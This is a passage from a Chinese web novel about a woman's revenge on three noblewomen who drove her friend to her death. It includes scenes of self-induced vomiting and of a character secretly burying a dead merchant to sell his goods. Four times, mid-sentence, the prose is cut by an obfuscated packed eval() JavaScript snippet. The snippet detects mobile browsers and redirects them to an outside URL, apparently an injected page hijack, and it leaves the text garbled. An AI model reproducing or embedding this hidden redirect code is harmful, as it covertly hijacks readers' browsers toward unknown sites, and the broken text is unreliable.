“问了,还算她聪明,知道这是个接近晁元肇的好机会,但我就怕阮云薇也想尽办法严防死守,她不好下手,你可得多盯着点。”谢慕游有点发愁地叮嘱阿婵。 “放心,准备了这么久,这次一定助她一臂之力。” 她打算到时候先在附近静观其变,如果楼映真找不到接近晁元肇的机会,她就安排一个小妖怪,中途制造点动静拦住晁元肇一行人,再让楼映真找机会假装偶遇即可。 “对了,我这里还有个人,说不定你想见见。”谢慕游意味深长地看着阿婵。 随后,她挪动桌子上的一盏灯,那灯下有一道滑轨,是个机关。 片刻后,进来一个洒扫婢女,用袖子掩着手将门关上。 谢暮游招呼婢女过来坐下:“你让她好好看看阮云薇有多毒。” 婢女伸出双手,阿婵倒吸一口凉气。 只见婢女的双手手指被尽数折断,尽管折断后被接续上了,但仍然弯弯曲曲,看得出原本是一双白嫩细腻的纤纤玉指,结果现在变成了老树盘虬般的扭曲。 怪不得她要用袖子遮掩双手。 “你知道阮云薇为什么这样对她吗?就因为那天晁元肇路过酒楼的时候,多看了她一眼,她差点连小命都丢了!”谢慕游恨恨说道。 婢女便开始颤着声音讲述自己的经历。 原来这婢女叫纪彩鸢,本是炎合酒楼从江南新招揽过来的琴姬。 她在自己老家也十分有名,因此被炎合酒楼的老板挖过来,正正经经靠琴技挣钱,卖艺不卖身。 因为三个月前,煜王路过炎合酒楼,听到了纪彩鸢的琴声,便一时兴起进来听琴,刚好煜王妃阮云薇同行。 结果没想到,就因为煜王透过帘子看了纪彩鸢一眼,甚至都没有和她说过一句话,就招来了祸患。 煜王走后,煜王妃的人直接进来将纪彩鸢的双手手指根根折断。 那不仅是她赖以谋生的赚钱的手,也是她引以为傲的弹琴的手。 纪彩鸢被折断了手,虽然找大夫接上了,但根本没有再弹琴的可能,断了继续弹琴赚钱的路。 况且,就算她能将手接好,京城估计也没有哪个酒楼敢收留她,因为她是煜王妃的眼中钉。 纪彩鸢受不了这个打击,几欲轻生,幸好被谢慕游安排在炎合酒楼的眼线给救了,带了回来。 谢慕游给她在蓬莱春安排了一个职位,就让她负责三四楼层小厮之间最简单的传话任务。这个活计不太用得到手,也不用在客人面前露面,这样也不会再遭阮云薇追着毒害。 阿婵看得眉头紧锁,虽然已经有了心理准备,但还是感到十分不适。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024942|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从随身背囊中掏出一个小罐,给纪彩鸢手上的伤处全部涂上药膏。 “这是玉拂膏,可以促进你的断指愈合,让你恢复期不会那么痛痒,坚持涂,或许手指可以软化变直,恢复几成,至少不会影响生活。” 她涂完药膏,将小罐交给纪彩鸢,纪彩鸢十分感激,不断给她作揖行礼,谢慕游让她关门退了出去。 “这么多年了,阮云薇还是死性不改。”阿婵冷声道。 “这次楼映真回来,可得好好治治她。”谢慕游说道。 “楼映真还有再打探晋南那边的事吗?” “打探过,而且还是好几次重金买了我们锦书阁的消息。她警惕性还是挺高的,不过当年你遇到晁元肇这件事是真的,就算再怎么打探,也做不了假。” 谢慕游想想好笑:“谁都知道煜王在晋南曾经有个救命恩人,一直念念不忘,可谁能想到,那就是你呢?这不是天助你也?” 阿婵眸中蒙上一层晦暗,不自觉用手捂住左边肋骨,低头苦笑:“天助,是啊……” 谢慕游道:“要不是你七年前化名阿水,去晋南一带山中捉妖,遇上晁元肇游历至此遇险,你为了救他跌落山崖,差点命丧深谷,他从此对你这个救命恩人念念不忘,你现在怎么会有如此水到渠成的复仇机会,一网将晁元肇、楼映真、阮云薇全都算计进去。” 阿婵淡淡道:“还得楼映真聪明点才行,虽然我已将当年遇到晁元肇的关键经过,都通过你的锦书阁告诉她了,她的身姿和相貌也与我有七八分相似,但那个阮云薇也不是省油的灯,楼映真假扮当年的我接近晁元肇,也不是那么容易的事,咱们不能掉以轻心,还得随机应变。” “自然,需要锦书阁出力就告诉我,随时听你调遣。这楼映真和阮云薇,干正事不成,陷害别人可是一门灵。 当年要不是你查出来,我还真以为这俩人是什么名门贵女大家闺秀,原来都是专门害人的毒妇,不止阿菀一个人遭了她们的毒手! 怪不得一个生不出孩子,一个成了寡.妇,这些是不是都是阿菀冥冥之中的报复。”谢慕游咬牙切齿。 “我查到的事不过是冰山一角,她们对阿菀做的恶事绝不止那些,不过,已经足够让她们去死了。”阿婵声音透着森森寒气,“还有晁元肇。” 这十年来,她极力结交官宦人家,帮他们处理妖鬼之患,通过各种旁敲侧击,暗中打探,终于查出,晁元肇是当年极力劝谏圣人将父亲斩首的一员,但他与父亲有何深仇大恨,目前尚不得而知。 后来,猫妖托梦的殿中对话,也证实了这一点。 为了接近晁元肇,她想尽各种办法,终于让她在晋南找到了机会。 可惜那一次,她太过心急,准备尚不够,为了接近晁元肇,差点自己送了命,摔下山崖,断了好几根肋骨,修养了好几个月才捡回命来。 而晁元肇回到桓安,身边侍从一堆,不好接近,她只能再次耐心等待时机。 而在此期间,她没有闲着,查出阿菀当年的死,的确不是意外,竟然与阮云薇和楼映真都有关,这让她心中萌生了一个连环复仇的念头。 41. 油尽灯枯 阿婵曾经到念川探访到一个从虞府回乡养病的老奴,知道了很多阿菀和虞屹安成亲后的事情。 那老奴说,夫人新婚之后一直忙着学习操持府中中馈,但不太熟练,经常没有头绪,每天都很烦恼。 郎君怕夫人累着,让她将这些事情都交给管家。还特意非常严肃地叮嘱府中奴仆,夫人和寻常女子不同,以前没有在娘家学过这些,精力和技艺都在木雕一道,所以府中的杂事她想做便做,不想做就不做,做得生疏之处,奴仆也不许在背后嘲笑。 尽管郎君公务繁忙,每日回家依旧会将一些中馈之事自己揽过来,细细安排好。 夫人嫌自己太笨不能像别家夫人那样替他分忧,郎君还安慰夫人,她本就不必理会这些繁琐之事,专心自己的喜好即可。 夫人待府中奴仆都极好,虽然偶尔会好心办砸一些中馈之事,奴仆不仅不会私下嘲笑,还会想方设法安慰她,让她不要过于担心。所以夫人虽有烦恼,但整个人还是神采奕奕的。 她经常说,自从嫁给了郎君之后,自己在娘家和整个桓安的交际圈,都不会受欺负了,郎君是她的福星。还经常在观星台上念叨,她有一位很厉害的姊妹,将来等她出关了,就带她来看看自己的家,眼中满是希冀。 可差不多就在夫人怀孕前后那段时间,她一度非常焦虑,有流言传出,说郎君可能会纳妾,为此夫人经常独自一人黯然神伤。 郎君发现夫人不对劲之后,迅速让人彻查了流言的出处,还百般宽慰夫人,说纳妾这件事根本就是无稽之谈,今生只钟情于她,叫她不要忧心。 过了不久,又传出月仪公主在宫宴上垂青郎君,欲招其为驸马的传言,夫人总是为此忧心,后来也被证实是编造的流言。 郎君知道官场明枪暗箭很多,内眷之间的交往也是其中一环,给夫人讲了很多其中的门道。 他还怕夫人应付不来,每次只要情况允许,都会亲自陪夫人去赴宴,哪怕夫人外出之时他公务繁忙,忙完也必会亲自去接夫人回来,夫妻二人浓情蜜意,羡煞外人,各种流言自然不攻而破。 可夫人不知道为什么,整日还是忧心忡忡,尤其是生产之后,食欲很差,精神恍惚,不愿意出门见人,也没力气出门行走,每日最多的时间,就是坐在阁楼里发呆。 因为夫人对府中所有人都非常和善,大家也都很担心她,想了各种办法逗她开心,但都没有效果。 夫人的精神日渐变差,最后在一天晚上,竟不顾襁褓中的孩子尚需母乳,便从观星阁上一跃而下。 郎君伤心欲绝,一度甚至都欲随夫人而去。可圣人器重他,委他以重任,自然不能放任他如此消沉。 自从夫人走了之后,郎君一直不停忙碌,生怕一停下来就过度思念夫人,这么多年也一直未续弦。 老奴说到这里,也不禁感慨,老天不开眼,让这一对神仙眷侣从此阴阳两隔。 “宫中的御医曾说,夫人是死于气血瘀滞、郁郁寡欢、油尽灯枯啊!”老奴浑浊的双眼泛着泪花。 油尽灯枯? 到底是什么,在一年之内,就可以让一个能够独自盖一座木屋的女子油尽灯枯而亡?! 阿婵听完之后,立即返回桓安,从阿菀的交际圈入手调查,期间阴差阳错在路上救了因为倒卖消息而导致仇家太多、被追杀得半死不活的谢慕游。 这谢慕游也是奇人,本来不叫这个名字,她捡回一条小命之后,立刻从江湖上销声匿迹,改名换姓,在阿婵的资助下,盘下一座快破产的酒楼,更名为蓬莱春。 不过几年时间,她竟一边把蓬莱春开得风生水起,全国到处是分号,帮助阿婵四处建立观星阁;一边还有精力搞出来一个专做消息情报买卖的锦书阁,当了阁主,这正好给阿婵的调查提供了便利。 通过谢慕游提供的人脉和消息,阿婵查出让阿菀陷入神思郁志的,不止是针对虞屹安的流言,还有针对阿菀的蓄意中伤。 这就不得不提到三个人——庄菡、楼映真、阮云薇。 庄菡,阿婵很熟悉,就是庄氏家族那个在阿菀身上留下无数隐蔽大伤小伤的长姐。 从小集万千宠爱于一身,为人非常嚣张跋扈。 可阿菀自从嫁给虞屹安之后,在家中陡然开始受重视起来,尤其是庄父对待阿菀变得非常和颜悦色,家中有什么好事也都想着阿菀,这让庄菡根本无法接受。 但她没有和阿菀明面上撕破脸,而是采取了怀柔策略,也开始对阿菀非常好。 阿婵打探到这里就知道不妙,像阿菀这样的性格,心思中所有该弯弯绕绕精妙计算的地方都留给了木雕一道,对于人心几乎是不设防的。 哪怕之前受过万千次的伤害,只要给她一些甜头,她还是会傻兮兮地相信,对面那个人是真心对她好。 她在阿菀身边的时候,还可以帮阿菀教训一下庄菡,再加上阿菀那时候刚接触木工,每日也不太和庄菡正面冲突,所以庄菡并没有再对阿菀产生实质性的伤害。 但她回师门闭关的一年时间里,阿菀没有她在身边提点,再加上嫁给虞屹安,免不了要被卷入桓安官宦内眷的交际圈,不可能不和庄菡正面交锋。 而且阿菀在娘家的地位变高,以庄菡的性格,必然十分嫉妒,以阿菀仅懂的那点人情世故,正面遇上庄菡,根本无力还手。 阿婵为了查探更多,乔装扮成各种身份,花费了极长一段时间,和桓安各家的奴仆婢女都混熟了,了解到不少桓安官宦内眷圈不足为外人道的事情,以及阿菀最后油尽灯枯而亡的原因。 原来,庄菡与阮云薇、楼映真交好。当时,这三位都是桓安权贵之家的贵女,尚未出阁,经常在一起玩乐。 正所谓物以类聚,人以群分,庄菡心肠歹毒,闺蜜自然也不是什么善茬。 庄菡因为是家族嫡女,被父母惯得骄横跋扈,有一点不顺心就要发脾气,而年幼的阿菀,没有阿娘护着,父亲又全当没这个女儿,自然是庄菡撒气的对象,那时,阮云薇和楼映真就经常给庄菡出主意,如何隐秘地折磨阿菀出气。 阿婵初见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028876|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿菀身上的很多新伤旧伤,就是拜她们所赐。 而在阿婵回师门闭关期间,虽然阿菀因嫁给了虞屹安这个圣人十分看好的新科状元,她们不敢做得太过,表面上有所收敛。 但庄菡十分嫉妒阿菀能够嫁给虞屹安。她曾在虞屹安中榜之前就对其示好,表示相信他的潜力,愿以家族之力托举他直上青云,但后来不知为何又十分嫌弃他不知上进,转换了目标。 可没想到,她看走了眼,虞屹安竟真的中了状元,还阴差阳错喜欢上了阿菀,庄菡为此大发雷霆。 而且自从虞屹安上门提亲之后,父亲不仅开始正眼看阿菀了,还将她自己看中的绫罗绸缎珠钗首饰赏给阿菀,叫阿菀不要穿得那么寒酸,到底是要嫁给状元郎了,到时候可不能再给庄氏家族丢人。 庄菡简直不敢相信,阿菀这种挨了打只会哭唧唧的小贱蹄子,竟然开始抢自己的东西了! 她气急败坏地要去找阿菀,但阮云薇和楼映真将她劝住,叫她不要明面上起冲突。 虞屹安毕竟是新科状元,一表人才又有能力,不管是庄大人还是圣人都很看重,她此刻针对阿菀,就相当于直接打庄大人和虞屹安的脸。 不如先和阿菀搞好关系,再暗中伺机报复为妙。 庄菡不过是个十七岁的小姑娘,在家娇纵惯了,无法无天,但所有的好恶都写在脸上,一眼就能被看穿,而她那些暗地里对付阿菀的龌.龊招数,几乎都是阮云薇和楼映真教她的。 这二人和她不一样,庄菡只是父亲在朝中任职,但阮、楼二人的姑母和姨母都在宫中为妃,经常跟她们讲宫中女眷如何内斗。 也因此,二人从小心比天高,发誓要嫁进宫中,跟着二位长辈学了很多歹毒手段,一直想找人试试。 但桓安贵女的圈子里,谁家没有靠山?她们初学这些粗浅的手段,不但斗不尽兴,还可能招惹事端。 此时,阿菀出现了。 阮、楼二人学来的手段终于有了用武之地,这是多好的一个用来试验的对象啊,没见过世面,好欺负又无人护。 所以,她们和庄菡一合计,便经常约阿菀出来参加宴会,向她示好。 没想到,这个阿菀是真的又傻又天真,竟真觉得自己嫁了状元郎,从此就在众人眼里翻了身,觉得众人是真心对她好,都不带设防的。 阮云薇举办的一次宴会上,她们三人合计将阿菀引到一处无人的地方丢下,让她迷路,随后派一名陌生男子上前搭讪,甚至上下其手,她们三人再引众人前去“刚好撞见”,其中也包括虞屹安。 她们本想着,这样一来可以让阿菀在众人面前口碑败坏。 毕竟像她这样村妇般粗鄙无知的庶女,连女红都做不好,写字像狗爬,不过走了狗.屎运,嫁了状元郎,真就以为自己飞上枝头变凤凰了。 这么天大的福气,她还不知道珍惜,竟还不守妇道,和陌生男子私下交往。 这般女德尽失,不仅丢尽了庄氏家族贵女的脸面,更能让虞屹安对她的感情大打折扣。 42. 她的死 结果却令她们三个事与愿违。 虞屹安见到那个男子纠缠阿菀,上去就把男子一顿狠揍,字字句句都在维护阿菀。 甚至庄父知道这件事之后,责骂阿菀私下与陌生男子相会,也是虞屹安一直在维护阿菀,责怪自己没有在这种场合照顾好她。 庄父虽然很生气,但女婿都这么说了,他也不好发作,甚至还觉得,阿菀何德何能,能嫁给这样好的夫婿。 庄菡、阮云薇、楼映真三人对这样的结果非常失望,但又暗自希望,这只是虞屹安顾及面子的一种做法。 但没想到,自此之后,每次聚会阿菀还是照常来,虞屹安只要有空都会亲自陪同,几乎是寸步不离,就算没空,也会亲自接送,把她们气个半死! 一计不成,再施一计,但这次等了好久才找到机会。 那时阿菀刚刚怀孕,她们故意将她引到花匠刚刚浇过水的园子里赏花,阿菀踩到小径的泥巴险些滑倒。 结果阿菀的贴身婢女明明已经被支开,却突然不知道从哪里出现,扶住了阿菀。原来是虞屹安不方便来,安排了身手好的婢女随时随地保护阿菀。 眼看这些阴损招数在阿菀这里都不奏效,于是她们三人只能想方设法攻破阿菀的心理。 她们散布流言,一会儿说虞屹安要纳妾,一会儿又说月仪公主看上了虞屹安,欲招其为驸马,圣人也同意了,马上就会找借口休掉阿菀。 其实这种流言,每日在桓安高官女眷的圈子里没有十个也有八个,懂的人都懂,根本无伤大雅,没人会相信。 但阿菀却没有经历过,她真的开始忧心忡忡,觉得虞屹安早晚有一天会离开她,她必须时时刻刻紧绷,想方设法讨好虞屹安。 否则,就会像她的阿娘一样,悄无声息地死在一个春寒料峭的寻常午后,根本无人在意。 所以就算阿菀怀孕的时候,也不敢吃很多东西,生怕自己吃胖了,虞屹安就不喜欢自己了,营养不良再加上忧思过度,让阿菀整个人都垮了。 虞屹安不知道阿菀为什么会变成这样,问过阿菀,她也只是找些借口搪塞过去,叫郎中过来看,却说她气血亏空。 他十分担心阿菀,让后厨做了很多药膳为她补身体,可阿菀怎么都不肯吃太多。 而其实是因为,庄菡、阮云薇、楼映真三人每次以关心为由,去虞府看望阿菀的时候,就会在她耳边状似无意地说些闲话。 什么某某嫁的夫君最开始也对她百般贴心,极尽宠爱,但妻子产后发胖,夫君没多久就纳了妾室,甚至还有外室,一个比一个貌美,一个比一个身姿婀娜。 直看到阿菀听得脸色发白,她们才作罢,假意劝阿菀也不要太瘦,该吃还是得吃,阿菀自然是食不下咽。 阿菀不吃,庄菡就借口父亲关心,顺道给她带一些“滋补”的药材,让她当做饭一样吃,告诉她这个养身体,滋补孩子,但是她不会长胖,可以放心吃。 殊不知这些药材,虽然外表看上去都是滋补的药材,安全无害,但阿婵问过经验丰富的名医,若是孕妇气血亏空,再服此药,不仅不能滋补身体,反而会对肠胃造成非常大的影响,影响食欲,进而影响胎儿。 阿婵算算时间,庄菡三人送药的时间,和阿菀开始食欲严重衰退的时间刚好能对得上。 阿菀的孕期,就在这样反反复复被庄菡、阮云微、楼映真“好言相劝”中度过,日日忧思。 她既怕虞屹安移情别恋不敢多吃,又因担心腹中胎儿营养不够而不敢不吃,每日三餐上就不断陷入矛盾纠结,再加上“滋补”药物的副作用,她的食欲越来越差,精神越发萎靡。 而她们三人,就这样,看着阿菀腹部日渐隆起,脸色日渐憔悴,依旧没有放过她。 阿菀气血两亏,废了九牛二虎之力才成功分娩。 儿子出生之后,三人还是照常去探望她,但是对阿菀的脸色身材品头论足,在阿菀的元气根本没有完全恢复的时候,就让她好好保养自己的身体,想办法取悦虞屹安,不然虞屹安全部的注意力都在她的孩子身上,她的处境就更加危险。 只是没想到,孩子出生后不久就患了病,一直高热,性命垂危,虞屹安请了很多名医都没办法治愈,严重到圣人都派御医前来看诊。 众医者诊断结果一致,都说孩子可能是因为在母体中没能足够发育好,先天不足,所以身体很弱,只能用药吊着命。 阿菀终于崩溃了。 看着怀中她满心欢喜期待了很久才到来的孩子昏迷不醒,又陷入深深的自责和愧疚——自己因为害怕失去虞屹安的宠爱,竟害得孩子先天不足。 而比起孩子,她更怕面对虞屹安,因为他每日公务异常繁忙,忙完连饭都囫囵吃完,守着孩子到深夜,眼中布满红血丝,却依旧没有苛责她半句。只是温言安慰她,他们的孩子一定可以挺过去的,不要担心。 无人责怪阿菀,她却更加自责,日日担惊受怕,整日以泪洗面,渐渐地,精神越发颓唐,甚至无力下床走动,只每日抱着孩子发呆,虞屹安请遍名医都束手无策。 其中有不少细节,是阿婵跟阮云薇和楼映真、庄菡三人聚在一起时在旁服侍的婢女打探到的。 因为这些是不能为外人道的私密话题,阿婵也是费了好长一段时间和功夫,才旁敲侧击一点点撬开婢女的嘴。 据说,这都是庄菡、阮云薇 楼映真三人茶余饭后最常谈起的事情,尤其是阿菀生产后,她们终于扳回一局,连带婢女转述给阿婵的时候,都眉飞色舞,扬眉吐气。 阿婵不知道这些她从各处拼凑出的陈年隐秘碎片,是不是导致阿菀从观星阁一跃而下的全部原因。 她只知道,庄菡、阮云薇、楼映真,如果这三个人能够一边说笑一边讲出这些事情,那么她们,必须得死。 *** 桓安城西北角的一间简陋的院落,大门紧闭。 楼映真坐在院中纱账下,看着手中的信笺。 “七日之后,灵骅寺林中。” 她唇角紧抿,但眼中却焕发出神采。 这个机会,她已经等了太久。 九年前,她在与阮云薇的竞争中落败,没能嫁给煜王。 但她生性不服输,且极好面子,费尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031835|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思在桓安未婚青年才俊中精挑细选,从中斡旋,最后才嫁给了礼部尚书之子陶俊贤,最后也算是风光大嫁,没丢了脸面。 但谁曾想,那陶俊贤竟是个短命鬼,不过成婚一年,竟一命呜呼,害她成了桓安贵女圈里最年轻的寡.妇。 迫不得已,她只能回到娘家,却赶上父亲在官场争斗中落败,差点锒铛入狱。 母亲想尽办法却救不了父亲,此时庶母用家族人脉极力周旋,勉强保住了父亲的性命,只是被迫左迁到西北边陲的安密镇,全家人都只能跟着去。 她母亲既受不了自己女儿年纪轻轻便成寡.妇,更受不了父亲本该升官的年纪却突遭贬谪,最要命的是,自己没帮上忙而庶母家族救了父亲,这下本就嚣张的庶母此番之后气焰只会更盛,三重打击加上左迁路途遥远,刚到安密镇便一命呜呼。 她还在伤心,父亲竟将贬谪之过和母亲病故的罪过扣在她头上: “我早说过,你阿娘当年明明生你之前梦的是个儿子,投错胎才生了你,差点难产死掉,落下病根。我们养你这些年也没亏待你,可你如此不争气,嫁了个短命鬼,如今克夫不够,你还要回来克父克母!” 她一直知道父亲仕途不顺,但为什么连贬谪和母亲之死也要怪罪于她! 父亲对她这般态度,庶母房中的兄弟姐妹自然也都不再将她看在眼里,表面上依旧对她客客气气,但她却无数次私下碰到庶姐妹叫她“扫把星”。 她跟他们吵架,气头上打了庶妹耳光,庶母告状到父亲面前。 可如今还得依靠庶母的家族人脉疏通西北当地官场的父亲只说了一句:“以前太过骄纵你,今后你得改改性子,对大家都好。” “我才是嫡女,他们是什么货色,真以为我阿娘不在了就能骑到我头上了吗?!”楼映真哭喊。 父亲只瞥了她一眼,平静地说:“如今这样,若你有个好夫婿,或许还能帮忙周旋,可惜啊……你既帮不上什么忙,就不要给你庶母添乱。要不是生你时落下病根,你母亲也不会死,我们这个家也不至如此。若是你再不改改性子,就从这个家滚出去!” 楼映真愣在原地,泪都忘了流。 她就站在自己的家里,可这个家里没一个人把她当成家人,放在眼里。 那一刻,她终于明白什么叫做心灰意冷。 可怜她之前择婿时为了嫁给陶俊贤,已经将多年的积蓄用得七七八八,再加上夫婿不过一年便突发恶疾而亡,退回来的嫁妆还没捂热,父亲就遭到贬谪,全家倾尽财力给父亲周旋,她的嫁妆虽然杯水车薪,但也是留不住的。 可父亲目前还要依靠庶母的助力,自然是不能偏袒她半分,才对她如此冷言冷语。 她散财救父,却落得个在娘家无依无靠的下场,很想就此离家出走,但西北边陲民风粗野剽悍,她一个弱女子出去如何生存,想罢,也只好忍着庶母的落井下石,继续住在家中。 楼映真回想自己这么多年来的遭遇,简直犹如噩梦一般,身处刀俎油锅备受煎熬。 但好在,多年隐忍换来了回报,终于让她找到了翻盘的可能。 43. 赌一把 楼映真的贴身婢女霜鹭端着午膳,走到院中,将托盘放在楼映真面前的案几上,心疼地说:“娘子,你又清瘦了许多,看这前阵子刚做的裙衫又空空荡荡的,今日好歹多吃些吧。” 楼映真看了一眼托盘中的饭菜,兴致缺缺。 霜鹭继续低声劝道:“娘子,姑爷和主母那么早就离世,你在娘家过得也不好,这次既然打定主意要离开家里,在桓安长住,就不必再苦着自己了,再说……” 她大着胆子继续:“再说,您手上的生意目前不是都周转正常,欠举贷的钱也还清了,这往后都是好日子了,何必再如此自苦呢。” 这婢女从小跟着楼映真,出阁之前楼映真在娘家过得都是锦衣玉食的日子。谁能想到出阁之后不过一年,便经历了夫君亡故、全家贬谪的变故。 她眼看着以前珠圆玉润的楼映真日渐消瘦,夜不敢寐,连饭也几乎吃不了几口,到如今枯瘦如柴,真害怕哪天一阵风就把她家娘子给带走了。 关键是她家娘子要是走了,她的下场估计好不到哪儿去,因此她极力劝说楼映真好好吃饭,好好活着。 楼映真听了这话,拿起筷子将饭菜慢慢吃净。 “吃完了,拿过来吧。” 霜鹭将盆盂放在楼映真脚边。 只见楼映真用手按着舌根,将刚才吃过的食物尽数吐.出。 这么多年,霜鹭早已习惯,她家娘子每天都要这样一番,郎中都说了这样很伤脾胃,但怎么说她家娘子就是不听。 以前娘子胃口很好,身形也丰满匀称,每日的菜单都要换着花样才开心,如今却不知为何一定要维持骨瘦如柴,每日就算如常进食也要这般催吐.出来。 “娘子,还好吗?”见楼映真捂着胃,喘.息不已,霜鹭赶紧上去轻轻替她拍背顺气,给她倒茶。 楼映真饮茶漱口,强行压下呕吐恶心之感,她脸色煞白,胃部隐隐作痛,见霜鹭担忧地看着自己,强笑道:“没事,收拾吧。” “娘子……郎中说最好不要再这样了……”霜鹭第一万次重复这句话。 “好了,耳朵要起茧子了,我自然知道这样不好,很快就不会这样了,不过,现在还不是时候。” 她挥挥手,霜鹭只好将满桌碗碟和脚下盆盂中的污.秽清理干净。 楼映真重新拿起信笺。 现在还不能放纵口腹之欲,她还有更重要的事情要做,为了这一天,她吃了那么多苦,决不能功亏一篑。 院中开始飘雨,雨急急落下,打在一盆快要开败的白色山茶上,脆弱的花瓣如雪花片片飘落。 楼映真的思绪,也随着这如雪的落花飘回了那个改变她命运的边陲冬雪天。 自从到了处于西北边陲的安密镇,她在娘家就不好过,就算她不在意旁人嚼舌根,但拿到手的月例也不足以让她过得在桓安一般舒服,因此她总是在想,有什么门路可以赚钱。 一个冬日,父亲大概又被上峰责骂,便将气撒在了路过的她头上,她一气之下,便也顾不得什么外面危不危险,只身负气跑出家门。 边陲荒凉,天地广袤,人烟稀少。 她一个人走着走着,走到了附近无人的荒山脚下,看到一个西南茶商模样的男人倒在路边,似是疾病发作。 她大着胆子过去查看,发现此人还有一口气在,对她说,希望她能帮忙找人来救他,他还有很多货物要出。 “你都快死了,还管什么货物不货物!”楼映真拿起他的水囊,给他喂了一口水。 楼映真自己一个人确实搬不动这个壮如牛的商人,于是便想转身回去搬救兵。 就在她转身之际,那人缓了口气,虚弱地笑了:“这批茶值钱哩,家里的孩子还等着我回去裁新衣裳。” 听到这里,楼映真忽然顿住了。 “值钱”两个字像一计锤重重砸在她的心上,那一瞬,她感觉有个疯狂的念头在她内心潜滋暗长,破土而出。 她回头冲他一笑,说:“别担心,我一定找人来救你。” 那人点点头,眼神中充满感激,但神色又非常痛苦,大冬天额头上全是密密麻麻的汗珠,呼吸粗重,面色惨白如纸,嘴唇泛着紫绀。 楼映真觉得,他这模样,很像她娘临终前的样子。 大概是,撑不了多久了吧。 她急匆匆地走了两步,等转过山脚,突然放慢了脚步。 就这样,她慢慢地走回家中,穿了件厚裘皮披肩,又转到集市,买了一把极其锋利的匕首和铲子,避开旁人,又慢慢走回了那个山脚。 天上慢慢飘起了雪花。 山脚真是荒凉,半个人影也无。 那一日,从午后到日落,她顶着风雪站了很久,边陲冬日的风像利剑一样穿过裘皮,刺穿她的身体,就在她快被冻僵之时,她拿起铲子,向着那个西南茶商走了过去。 果不其然,那人已经没了呼吸,蜷缩的身躯变得僵硬无比。 楼映真起初心里还是有些害怕,待发现他是真的死透了之后,才拿起铲子,奋力地铲起了土。 太硬了,冬天的山体冻得极为坚硬,她根本挖不动。 但必须要将尸体藏起来,她想了想,确定四周无人,拿了茶商车上的器皿,在山脚背风隐蔽处生火,将雪煮化,热水浇灌在地上,地面渐渐被软化。 一切很顺利,生火的时候也没有引来狼。 如今回想起来,她自己都觉得不可思议,当时的自己没有任何武艺,根本不知道哪里来的力气,硬是挖了一个很深很深的坑,将茶商埋得严严实实。 直到纷纷扬扬的雪花将她所掩埋的痕迹完全覆盖,她才力竭回家。 回家之后她完全不敢合眼,数着擂鼓的心跳等到天亮。 然后立即乔装打扮,去市场找人将那批茶叶接手,她明白这种东西正常的商人肯定是不接的,她几经周折打探到了黑市,壮着胆子找到黑市的一个人到荒山接手那批货物。 荒山太偏僻,货物就那么放了一.夜也没人动。 她也怕黑市的人将她在荒山灭口,但富贵险中求,她愿意赌一把。 算她走运,那人真的只是拿货给钱。 从不曾和民间之人做过交易的她,不知怎么,那一天福至心灵,似乎无师自通,无比顺畅地就完成了这一切。 后来她回想,或许是七八岁时的一个夜晚,隐约听到父亲收受贿赂就是拿到黑市销赃避祸,给她的启发。 楼映真回到家,一个人关在房间里,捧着自己赚到的人生第一笔除了月例之外的钱,哭得发.抖。 三分激动,三分害怕,三分愧疚,还有一分,是隐秘的刺.激。 因为她知道,她的人生没有办法再回到以前了。 那之后,她拿着这笔钱,让那黑市的人帮她从中斡旋,又做成了几笔小生意。 那人做事老练,行事隐蔽,还真让她赚到了钱,家中也无人发现。 她没有挥霍这些钱,而是将其悉数存起,她无人依靠,需得为自己筹谋后路。 很多个夜里,她总梦见茶商来质问她为什么迟迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034937|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不回。惊醒后,又装作无意回到那荒山几次。 她发现,那个荒山实在是太偏僻,而且边陲之地常有战乱,以至于茶商之死根本无人发现,远在千里之外的茶商家人,更无从找起,毕竟经商路途遥远,什么风险都有。 她将心放回肚子里,继续想办法赚钱。 五年前的一日,她拿到黑市的人给她的回款,心下轻松,闲来无事便去镇上茶肆吃茶。 